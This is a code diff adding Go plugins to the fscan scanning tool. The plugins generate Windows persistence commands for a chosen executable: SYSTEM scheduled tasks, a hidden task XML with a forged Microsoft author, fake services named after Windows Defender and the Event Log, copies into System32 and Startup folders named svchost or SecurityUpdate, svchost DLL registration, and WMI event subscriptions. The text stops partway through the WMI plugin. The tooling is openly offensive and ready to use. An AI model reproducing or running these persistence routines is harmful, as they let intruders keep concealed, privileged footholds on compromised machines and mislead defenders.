||||
|
||||
common.LogSuccess(i18n.Tr("winschtask_success", len(scheduledTasks)))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// createScheduledTaskPersistence 创建计划任务持久化
|
||||
func (p *WinSchTaskPlugin) createScheduledTaskPersistence(pePath string) ([]string, error) {
|
||||
absPath, err := filepath.Abs(pePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get absolute path: %w", err)
|
||||
}
|
||||
|
||||
var scheduledTasks []string
|
||||
baseName := filepath.Base(absPath)
|
||||
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
|
||||
|
||||
tasks := []struct {
|
||||
name string
|
||||
schedule string
|
||||
description string
|
||||
modifier string
|
||||
}{
|
||||
{
|
||||
name: fmt.Sprintf("WindowsUpdateCheck_%s", baseNameNoExt),
|
||||
schedule: "DAILY",
|
||||
modifier: "1",
|
||||
description: "Daily Windows Update Check",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("SystemSecurityScan_%s", baseNameNoExt),
|
||||
schedule: "ONLOGON",
|
||||
modifier: "",
|
||||
description: "System Security Scan on Logon",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("NetworkMonitor_%s", baseNameNoExt),
|
||||
schedule: "MINUTE",
|
||||
modifier: "30",
|
||||
description: "Network Monitor Every 30 Minutes",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("MaintenanceTask_%s", baseNameNoExt),
|
||||
schedule: "ONSTART",
|
||||
modifier: "",
|
||||
description: "System Maintenance Task on Startup",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("BackgroundService_%s", baseNameNoExt),
|
||||
schedule: "HOURLY",
|
||||
modifier: "2",
|
||||
description: "Background Service Every 2 Hours",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt),
|
||||
schedule: "ONIDLE",
|
||||
modifier: "5",
|
||||
description: "Security Update When System Idle",
|
||||
},
|
||||
}
|
||||
|
||||
for _, task := range tasks {
|
||||
var schTaskCmd string
|
||||
|
||||
if task.modifier != "" {
|
||||
schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /mo %s /ru "SYSTEM" /f`,
|
||||
task.name, absPath, task.schedule, task.modifier)
|
||||
} else {
|
||||
schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /ru "SYSTEM" /f`,
|
||||
task.name, absPath, task.schedule)
|
||||
}
|
||||
|
||||
scheduledTasks = append(scheduledTasks, fmt.Sprintf("[%s] %s", task.description, schTaskCmd))
|
||||
}
|
||||
|
||||
xmlTemplate := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
<RegistrationInfo>
|
||||
<Date>2023-01-01T00:00:00</Date>
|
||||
<Author>Microsoft Corporation</Author>
|
||||
<Description>Windows System Service</Description>
|
||||
</RegistrationInfo>
|
||||
<Triggers>
|
||||
<LogonTrigger>
|
||||
<Enabled>true</Enabled>
|
||||
</LogonTrigger>
|
||||
<BootTrigger>
|
||||
<Enabled>true</Enabled>
|
||||
</BootTrigger>
|
||||
</Triggers>
|
||||
<Principals>
|
||||
<Principal id="Author">
|
||||
<UserId>S-1-5-18</UserId>
|
||||
<RunLevel>HighestAvailable</RunLevel>
|
||||
</Principal>
|
||||
</Principals>
|
||||
<Settings>
|
||||
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
|
||||
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
|
||||
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
|
||||
<AllowHardTerminate>false</AllowHardTerminate>
|
||||
<StartWhenAvailable>true</StartWhenAvailable>
|
||||
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
||||
<IdleSettings>
|
||||
<StopOnIdleEnd>false</StopOnIdleEnd>
|
||||
<RestartOnIdle>false</RestartOnIdle>
|
||||
</IdleSettings>
|
||||
<AllowStartOnDemand>true</AllowStartOnDemand>
|
||||
<Enabled>true</Enabled>
|
||||
<Hidden>true</Hidden>
|
||||
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
||||
<DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
|
||||
<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
|
||||
<WakeToRun>false</WakeToRun>
|
||||
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
|
||||
<Priority>7</Priority>
|
||||
</Settings>
|
||||
<Actions Context="Author">
|
||||
<Exec>
|
||||
<Command>%s</Command>
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>`, absPath)
|
||||
|
||||
xmlTaskName := fmt.Sprintf("WindowsSystemService_%s", baseNameNoExt)
|
||||
xmlPath := fmt.Sprintf(`%%TEMP%%\%s.xml`, xmlTaskName)
|
||||
|
||||
xmlCmd := fmt.Sprintf(`echo %s > "%s" && schtasks /create /xml "%s" /tn "%s" /f`,
|
||||
xmlTemplate, xmlPath, xmlPath, xmlTaskName)
|
||||
|
||||
scheduledTasks = append(scheduledTasks, fmt.Sprintf("[XML Task Import] %s", xmlCmd))
|
||||
|
||||
return scheduledTasks, nil
|
||||
}
|
||||
|
||||
// isValidPEFile 检查是否为有效的PE文件
|
||||
func (p *WinSchTaskPlugin) isValidPEFile(filePath string) bool {
|
||||
ext := strings.ToLower(filepath.Ext(filePath))
|
||||
return ext == ".exe" || ext == ".dll"
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("winschtask", func() Plugin {
|
||||
return NewWinSchTaskPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,217 @@
|
||||
//go:build (plugin_winservice || !plugin_selective) && windows && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// WinServicePlugin Windows服务持久化插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现服务持久化功能
|
||||
// - 保持原有功能逻辑
|
||||
type WinServicePlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewWinServicePlugin 创建Windows服务持久化插件
|
||||
func NewWinServicePlugin() *WinServicePlugin {
|
||||
|
||||
return &WinServicePlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("winservice"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行Windows服务持久化 - 直接实现
|
||||
func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
// 从config获取配置
|
||||
pePath := config.WinPEFile
|
||||
|
||||
|
||||
if runtime.GOOS != "windows" {
|
||||
output.WriteString("Windows服务持久化只支持Windows平台\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
|
||||
}
|
||||
}
|
||||
|
||||
if pePath == "" {
|
||||
output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("未指定PE文件"),
|
||||
}
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(pePath); os.IsNotExist(err) {
|
||||
output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 检查文件类型
|
||||
if !p.isValidPEFile(pePath) {
|
||||
output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("无效的PE文件"),
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("=== Windows服务持久化 ===\n")
|
||||
output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
|
||||
// 创建服务持久化
|
||||
services, err := p.createServicePersistence(pePath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("创建服务持久化失败: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString(fmt.Sprintf("创建了%d个Windows服务持久化项:\n", len(services)))
|
||||
for i, service := range services {
|
||||
output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, service))
|
||||
}
|
||||
output.WriteString("\n✓ Windows服务持久化完成\n")
|
||||
|
||||
common.LogSuccess(i18n.Tr("winservice_success", len(services)))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// createServicePersistence 创建服务持久化
|
||||
func (p *WinServicePlugin) createServicePersistence(pePath string) ([]string, error) {
|
||||
absPath, err := filepath.Abs(pePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get absolute path: %w", err)
|
||||
}
|
||||
|
||||
var services []string
|
||||
baseName := filepath.Base(absPath)
|
||||
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
|
||||
|
||||
serviceConfigs := []struct {
|
||||
name string
|
||||
displayName string
|
||||
description string
|
||||
startType string
|
||||
}{
|
||||
{
|
||||
name: fmt.Sprintf("WinDefenderUpdate%s", baseNameNoExt),
|
||||
displayName: "Windows Defender Update Service",
|
||||
description: "Manages Windows Defender signature updates and system security",
|
||||
startType: "auto",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("SystemEventLog%s", baseNameNoExt),
|
||||
displayName: "System Event Log Service",
|
||||
description: "Manages system event logging and audit trail maintenance",
|
||||
startType: "auto",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("NetworkManager%s", baseNameNoExt),
|
||||
displayName: "Network Configuration Manager",
|
||||
description: "Handles network interface configuration and management",
|
||||
startType: "demand",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("WindowsUpdate%s", baseNameNoExt),
|
||||
displayName: "Windows Update Assistant",
|
||||
description: "Coordinates automatic Windows updates and patches",
|
||||
startType: "auto",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("SystemMaintenance%s", baseNameNoExt),
|
||||
displayName: "System Maintenance Service",
|
||||
description: "Performs routine system maintenance and optimization tasks",
|
||||
startType: "manual",
|
||||
},
|
||||
}
|
||||
|
||||
for _, config := range serviceConfigs {
|
||||
scCreateCmd := fmt.Sprintf(`sc create "%s" binPath= "\"%s\"" DisplayName= "%s" start= %s`,
|
||||
config.name, absPath, config.displayName, config.startType)
|
||||
|
||||
scConfigCmd := fmt.Sprintf(`sc description "%s" "%s"`, config.name, config.description)
|
||||
|
||||
scStartCmd := fmt.Sprintf(`sc start "%s"`, config.name)
|
||||
|
||||
services = append(services, fmt.Sprintf("[Create Service] %s", scCreateCmd))
|
||||
services = append(services, fmt.Sprintf("[Set Description] %s", scConfigCmd))
|
||||
services = append(services, fmt.Sprintf("[Start Service] %s", scStartCmd))
|
||||
}
|
||||
|
||||
serviceWrapperName := fmt.Sprintf("ServiceHost%s", baseNameNoExt)
|
||||
wrapperPath := fmt.Sprintf(`%%SystemRoot%%\System32\%s.exe`, serviceWrapperName)
|
||||
|
||||
copyWrapperCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, wrapperPath)
|
||||
services = append(services, fmt.Sprintf("[Copy to System32] %s", copyWrapperCmd))
|
||||
|
||||
scCreateWrapperCmd := fmt.Sprintf(`sc create "%s" binPath= "%s" DisplayName= "Service Host Process" start= auto type= own`,
|
||||
serviceWrapperName, wrapperPath)
|
||||
services = append(services, fmt.Sprintf("[Create System Service] %s", scCreateWrapperCmd))
|
||||
|
||||
regImagePathCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`,
|
||||
serviceWrapperName, wrapperPath)
|
||||
services = append(services, fmt.Sprintf("[Set Service DLL] %s", regImagePathCmd))
|
||||
|
||||
dllServiceName := fmt.Sprintf("SystemService%s", baseNameNoExt)
|
||||
if filepath.Ext(absPath) == ".dll" {
|
||||
svchostCmd := fmt.Sprintf(`sc create "%s" binPath= "%%SystemRoot%%\System32\svchost.exe -k netsvcs" DisplayName= "System Service Host" start= auto`,
|
||||
dllServiceName)
|
||||
services = append(services, fmt.Sprintf("[DLL Service via svchost] %s", svchostCmd))
|
||||
|
||||
regSvchostCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`,
|
||||
dllServiceName, absPath)
|
||||
services = append(services, fmt.Sprintf("[Set DLL Path] %s", regSvchostCmd))
|
||||
|
||||
regNetSvcsCmd := fmt.Sprintf(`reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvcs /t REG_MULTI_SZ /d "%s" /f`,
|
||||
dllServiceName)
|
||||
services = append(services, fmt.Sprintf("[Add to netsvcs] %s", regNetSvcsCmd))
|
||||
}
|
||||
|
||||
return services, nil
|
||||
}
|
||||
|
||||
// isValidPEFile 检查是否为有效的PE文件
|
||||
func (p *WinServicePlugin) isValidPEFile(filePath string) bool {
|
||||
ext := strings.ToLower(filepath.Ext(filePath))
|
||||
return ext == ".exe" || ext == ".dll"
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("winservice", func() Plugin {
|
||||
return NewWinServicePlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,208 @@
|
||||
//go:build (plugin_winstartup || !plugin_selective) && windows && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// WinStartupPlugin Windows启动项持久化插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现启动文件夹持久化功能
|
||||
// - 保持原有功能逻辑
|
||||
type WinStartupPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewWinStartupPlugin 创建Windows启动文件夹持久化插件
|
||||
func NewWinStartupPlugin() *WinStartupPlugin {
|
||||
|
||||
return &WinStartupPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("winstartup"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行Windows启动文件夹持久化 - 直接实现
|
||||
func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
// 从config获取配置
|
||||
pePath := config.WinPEFile
|
||||
|
||||
|
||||
if runtime.GOOS != "windows" {
|
||||
output.WriteString("Windows启动文件夹持久化只支持Windows平台\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
|
||||
}
|
||||
}
|
||||
|
||||
if pePath == "" {
|
||||
output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("未指定PE文件"),
|
||||
}
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(pePath); os.IsNotExist(err) {
|
||||
output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 检查文件类型
|
||||
if !p.isValidPEFile(pePath) {
|
||||
output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("无效的PE文件"),
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("=== Windows启动文件夹持久化 ===\n")
|
||||
output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
|
||||
// 创建启动文件夹持久化
|
||||
startupMethods, err := p.createStartupPersistence(pePath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("创建启动文件夹持久化失败: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString(fmt.Sprintf("创建了%d个启动文件夹持久化方法:\n", len(startupMethods)))
|
||||
for i, method := range startupMethods {
|
||||
output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, method))
|
||||
}
|
||||
output.WriteString("\n✓ Windows启动文件夹持久化完成\n")
|
||||
|
||||
common.LogSuccess(i18n.Tr("winstartup_success", len(startupMethods)))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// createStartupPersistence 创建启动文件夹持久化
|
||||
func (p *WinStartupPlugin) createStartupPersistence(pePath string) ([]string, error) {
|
||||
absPath, err := filepath.Abs(pePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get absolute path: %w", err)
|
||||
}
|
||||
|
||||
var startupMethods []string
|
||||
baseName := filepath.Base(absPath)
|
||||
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
|
||||
|
||||
startupLocations := []struct {
|
||||
path string
|
||||
description string
|
||||
method string
|
||||
}{
|
||||
{
|
||||
path: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`,
|
||||
description: "Current User Startup Folder",
|
||||
method: "shortcut",
|
||||
},
|
||||
{
|
||||
path: `%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup`,
|
||||
description: "All Users Startup Folder",
|
||||
method: "shortcut",
|
||||
},
|
||||
{
|
||||
path: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`,
|
||||
description: "Current User Startup Folder (Direct Copy)",
|
||||
method: "copy",
|
||||
},
|
||||
{
|
||||
path: `%TEMP%\WindowsUpdate`,
|
||||
description: "Temp Directory with Startup Reference",
|
||||
method: "temp_copy",
|
||||
},
|
||||
}
|
||||
|
||||
for _, location := range startupLocations {
|
||||
switch location.method {
|
||||
case "shortcut":
|
||||
shortcutName := fmt.Sprintf("WindowsUpdate_%s.lnk", baseNameNoExt)
|
||||
shortcutPath := filepath.Join(location.path, shortcutName)
|
||||
|
||||
powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.Save()"`,
|
||||
shortcutPath, absPath)
|
||||
|
||||
startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, powershellCmd))
|
||||
|
||||
case "copy":
|
||||
targetName := fmt.Sprintf("SecurityUpdate_%s.exe", baseNameNoExt)
|
||||
targetPath := filepath.Join(location.path, targetName)
|
||||
copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath)
|
||||
|
||||
startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, copyCmd))
|
||||
|
||||
case "temp_copy":
|
||||
tempDir := filepath.Join(location.path)
|
||||
mkdirCmd := fmt.Sprintf(`mkdir "%s" 2>nul`, tempDir)
|
||||
targetName := fmt.Sprintf("svchost_%s.exe", baseNameNoExt)
|
||||
targetPath := filepath.Join(tempDir, targetName)
|
||||
copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath)
|
||||
|
||||
startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s && %s", location.description, mkdirCmd, copyCmd))
|
||||
|
||||
shortcutPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("SystemService_%s.lnk", baseNameNoExt))
|
||||
powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"`,
|
||||
shortcutPath, targetPath)
|
||||
|
||||
startupMethods = append(startupMethods, fmt.Sprintf("[Hidden Temp Reference] %s", powershellCmd))
|
||||
}
|
||||
}
|
||||
|
||||
batchScript := fmt.Sprintf(`@echo off
|
||||
cd /d "%%~dp0"
|
||||
start "" /b "%s"
|
||||
exit`, absPath)
|
||||
|
||||
batchPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("WindowsService_%s.bat", baseNameNoExt))
|
||||
batchCmd := fmt.Sprintf(`echo %s > "%s"`, batchScript, batchPath)
|
||||
startupMethods = append(startupMethods, fmt.Sprintf("[Batch Script Method] %s", batchCmd))
|
||||
|
||||
return startupMethods, nil
|
||||
}
|
||||
|
||||
// isValidPEFile 检查是否为有效的PE文件
|
||||
func (p *WinStartupPlugin) isValidPEFile(filePath string) bool {
|
||||
ext := strings.ToLower(filepath.Ext(filePath))
|
||||
return ext == ".exe" || ext == ".dll"
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("winstartup", func() Plugin {
|
||||
return NewWinStartupPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,240 @@
|
||||
//go:build (plugin_winwmi || !plugin_selective) && windows && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// WinWMIPlugin Windows WMI持久化插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现WMI事件订阅持久化功能
|
||||
// - 保持原有功能逻辑
|
||||
type WinWMIPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewWinWMIPlugin 创建Windows WMI事件订阅持久化插件
|
||||
func NewWinWMIPlugin() *WinWMIPlugin {
|
||||
|
||||
return &WinWMIPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("winwmi"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行Windows WMI事件订阅持久化 - 直接实现
|
||||
func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
// 从config获取配置
|
||||
pePath := config.WinPEFile
|
||||
|
||||
|
||||
if runtime.GOOS != "windows" {
|
||||
output.WriteString("Windows WMI事件订阅持久化只支持Windows平台\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
|
||||
}
|
||||
}
|
||||
|
||||
if pePath == "" {
|
||||
output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("未指定PE文件"),
|
||||
}
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(pePath); os.IsNotExist(err) {
|
||||
output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 检查文件类型
|
||||
if !p.isValidPEFile(pePath) {
|
||||
output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("无效的PE文件"),
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("=== Windows WMI事件订阅持久化 ===\n")
|
||||
output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
|
||||
// 创建WMI事件订阅持久化
|
||||
wmiSubscriptions, err := p.createWMIEventSubscriptions(pePath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("创建WMI事件订阅持久化失败: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString(fmt.Sprintf("创建了%d个WMI事件订阅持久化项:\n", len(wmiSubscriptions)))
|
||||
for i, subscription := range wmiSubscriptions {
|
||||
output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, subscription))
|
||||
}
|
||||
output.WriteString("\n✓ Windows WMI事件订阅持久化完成\n")
|
||||
|
||||
common.LogSuccess(i18n.Tr("winwmi_success", len(wmiSubscriptions)))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// createWMIEventSubscriptions 创建WMI事件订阅
|
||||
func (p *WinWMIPlugin) createWMIEventSubscriptions(pePath string) ([]string, error) {
|
||||
absPath, err := filepath.Abs(pePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get absolute path: %w", err)
|
||||
}
|
||||
|
||||
var wmiSubscriptions []string
|
||||
baseName := filepath.Base(absPath)
|
||||
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
|
||||
|
||||
wmiEventConfigs := []struct {
|
||||
filterName string
|
||||
consumerName string
|
||||
bindingName string
|
||||
query string
|
||||
description string
|
||||
}{
|
||||
{
|
||||
filterName: fmt.Sprintf("SystemBootFilter_%s", baseNameNoExt),
|
||||
consumerName: fmt.Sprintf("SystemBootConsumer_%s", baseNameNoExt),
|
||||
bindingName: fmt.Sprintf("SystemBootBinding_%s", baseNameNoExt),
|
||||
query: "SELECT * FROM Win32_SystemConfigurationChangeEvent",
|
||||
description: "System Boot Event Trigger",
|
||||
},
|
||||
{
|
||||
filterName: fmt.Sprintf("ProcessStartFilter_%s", baseNameNoExt),
|
||||
consumerName: fmt.Sprintf("ProcessStartConsumer_%s", baseNameNoExt),
|
||||
bindingName: fmt.Sprintf("ProcessStartBinding_%s", baseNameNoExt),
|
||||
query: "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'",
|
||||
description: "Explorer Process Start Trigger",
|
||||
},
|
||||
{
|
||||
filterName: fmt.Sprintf("UserLogonFilter_%s", baseNameNoExt),
|
||||
consumerName: fmt.Sprintf("UserLogonConsumer_%s", baseNameNoExt),
|
||||
bindingName: fmt.Sprintf("UserLogonBinding_%s", baseNameNoExt),
|
||||
query: "SELECT * FROM Win32_LogonSessionEvent WHERE EventType=2",
|
||||
description: "User Logon Event Trigger",
|
||||
},
|
||||
{
|
||||
filterName: fmt.Sprintf("FileCreateFilter_%s", baseNameNoExt),
|
||||
consumerName: fmt.Sprintf("FileCreateConsumer_%s", baseNameNoExt),
|
||||
bindingName: fmt.Sprintf("FileCreateBinding_%s", baseNameNoExt),
|
||||
query: "SELECT * FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\Windows\\\\System32\\\\'",
|
||||
description: "File Creation Monitor Trigger",
|
||||
},
|
||||
{
|
||||
filterName: fmt.Sprintf("ServiceChangeFilter_%s", baseNameNoExt),
|
||||
consumerName: fmt.Sprintf("ServiceChangeConsumer_%s", baseNameNoExt),
|
||||
bindingName: fmt.Sprintf("ServiceChangeBinding_%s", baseNameNoExt),
|
||||
query: "SELECT * FROM Win32_ServiceControlEvent",
|
||||
description: "Service State Change Trigger",
|
||||
},
|
||||
}
|
||||
|
||||
for _, config := range wmiEventConfigs {
|
||||
filterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`,
|
||||
config.filterName, config.query)
|
||||
|
||||
consumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`,
|
||||
config.consumerName, absPath, absPath)
|
||||
|
||||
